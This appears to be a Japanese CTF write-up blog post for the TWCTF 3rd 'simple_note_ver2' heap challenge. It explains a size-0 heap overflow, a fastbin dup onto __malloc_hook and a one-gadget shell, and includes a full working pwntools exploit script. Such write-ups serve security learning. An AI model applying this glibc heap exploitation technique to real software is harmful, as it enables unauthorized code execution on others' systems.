ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

TWCTF 3rd simple_note_ver2

この問題は64bitのELFファイルでできているheap問題だった。本番環境では実際に試していないため、どのくらい差異があるのかわからないが、自分の備忘録として記録しておく。まずはセキュリティチェック
f:id:shimasyaro:20170914224953p:plain
gotの書き換えは無理という前提で考えなければならないことが分かる。では早速問題のバイナリを見ていく。見ていった結果以下のようなことが分かった。

  • add(malloc)するときのsize checkがない。

  • add(malloc)のとき、mallocでつかったsizeがそのまま、noteを受け取るときにread関数で使われる。

  • noteのsize - 1がread関数の引数になるため、sizeを0にすると0xffffffffとなり、heap overflowを起こす。

以上の条件からfastbins attackをして、malloc_hookを書き換えてshellを取るという方針で説明していく。

まず、libcの特定方法であるが、simple_note(TWCTF 3rd simple_note - ちょっとずつ成長日記)とやり方が変わらないため、割愛させていただく。

次に、heap overflowをさせ、fastbinsのfdを書き換えていく。まず、書き換えを行うindex 2とindex 0をfreeする。freeした様子が以下のようになる。
f:id:shimasyaro:20170914122926p:plain
次に、sizeを0にしてmallocを行うとindex 0にmallocされ、heap overflowでfdを書き換えることができる。書き換えた様子が以下のようになる。
f:id:shimasyaro:20170914124058p:plain
書き換えるのはfdだけでよい。(prev_size, sizeを壊さないように配置するだけ)
fdとして配置したものだが、これはfastbinsのsize checkを潜り抜けるために、必要な場所をprev_sizeとした。fdの場所を以下に示す。
f:id:shimasyaro:20170914124630p:plain
赤枠で囲っている部分がmallocされるときにfastbinsのsize checkを抜けるmalloc chunkのsizeの部分である。具体的には以下のところのcheckを抜けるのに必要となる。
f:id:shimasyaro:20170914124831p:plain
ここは、要求sizeにあわせたfastbinsとfreeとして存在しているfastbinsのsizeのindexが一致しているかどうかのチェックが行われている。もし、一致しなければabortしてしまうため注意が必要である。
今回は0x7fとすることで、fastbinsの0x70サイズにしつつ、要求サイズにも合わせている形になっている。(今回の例でいうのであれば要求サイズがfastbinsの0x70の範囲つまり、0x58 < size <0x69であればOK)
次に、サイズに合わせたmallocを2回行う。1回目はindex 2がポインタとして返ってくる。2回目はfdで書き換えた部分が返ってくる。以下は1回目mallocしたときのfastbinsの様子である。
f:id:shimasyaro:20170914135711p:plain
2回目のmallocを行うとprev_sizeから+16byte先がポインタとして返ってくるので、それに合わせてpaddingを入れつつmalloc_hookを書き換える。うまく書き換えると以下のようになる。
f:id:shimasyaro:20170914140021p:plain
ここでmalloc_hookの説明をしておく、malloc_hookは関数のポインタになっており、mallocの実体である_int_mallocが始まる前に呼ばれる。実際のソースは以下である。
f:id:shimasyaro:20170914140419p:plain
また、malloc_hookに登録する関数はexec_commと言われる関数である。これはわざわざsystem(/bin/sh)を用意しなくてもexecveを実行してくれる関数である。実際は以下のようになる。
f:id:shimasyaro:20170914140724p:plain f:id:shimasyaro:20170914140728p:plain
このexec_commは調べた限り以下のような関数で呼ばれているようだった。
f:id:shimasyaro:20170914141048p:plain
backtraceをするとexec_comm関数の中のexec_comm_childが呼ばれているようだった。この2つの関数はglibc/posix/wordexp.cで定義されている。以下はexec_comm_childでexecve関数を呼び出している様子である。
f:id:shimasyaro:20170914141307p:plain
あとは、addを選択して、適当なsizeを入れたらmalloc_hookに入れた関数が実行される。
以下は参考になったソース(Snip2Code - MMA CTF 2017 3rd simple_note_ver2 write-up])を少し変更を加えたソースである。

from pwn import *
import sys, time

context.log_level = "debug"

if len(sys.argv) == 1:
    p = process(["./simple_note_ver2"], env={"LD_PRELOAD":"./libc.so.6"})
    log.info("PID : " + str(proc.pidof(p)[0]))

else:
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p = remote("localhost", "4444")


def add(size, data, sending=False):
    p.recvuntil("choice:")
    p.sendline("1")
    p.recvuntil("note.")
    p.sendline(str(size))
    p.recvuntil("content of the note.")
    if sending:
        p.send(data)
    else:
        p.sendline(data)

def delete(idx):
    p.recvuntil("choice:")
    p.sendline("3")
    p.recvuntil("note.")
    p.sendline(str(idx))
    p.recvuntil("Success!\n")

def show(idx):
    p.recvuntil("choice:")
    p.sendline("2")
    p.recvuntil("note.")
    p.sendline(str(idx))
    p.recvuntil("Content:")

add(0x10, "Q" * 0xf, True)      # index 0   0x20
add(0x88, "A" * 0x87, True)     # index 1   0x90
add(0x60, "BBBB")               # index 2   0x80
delete(1)
add(0x80, "C" * 7)              # index 1           allocate 4times
show(1)

p.recvuntil("C" *  7 + "\n")
leak = u64(p.recv(6).ljust(8, "\x00"))          # leak main_arena + 88
libc_base = leak - 0x3c4b78
magic = libc_base + 0xf1117                     # exec_cmm+2263

main_arena = leak - 88
duphook = main_arena - 0x2b - 8

log.info("Leak : " + hex(leak))
log.info("magic : " + hex(magic))
log.info("duphook : " + hex(duphook))

# fastbin dup attack
delete(2)
delete(0)

exp = "A" * 0x10 + p64(0x0) + p64(0x91) + "B" * 0x80
exp += p64(0x90) + p64(0x71) + p64(duphook)     # overwrite fd

add(0, exp)
add(0x60, p64(0xdeadbeef))
add(0x60, "\x00" * 0x13 + p64(magic))
p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("note.")
p.sendline(str(0x20))
p.interactive()

【総評】これもeasyってマジですか?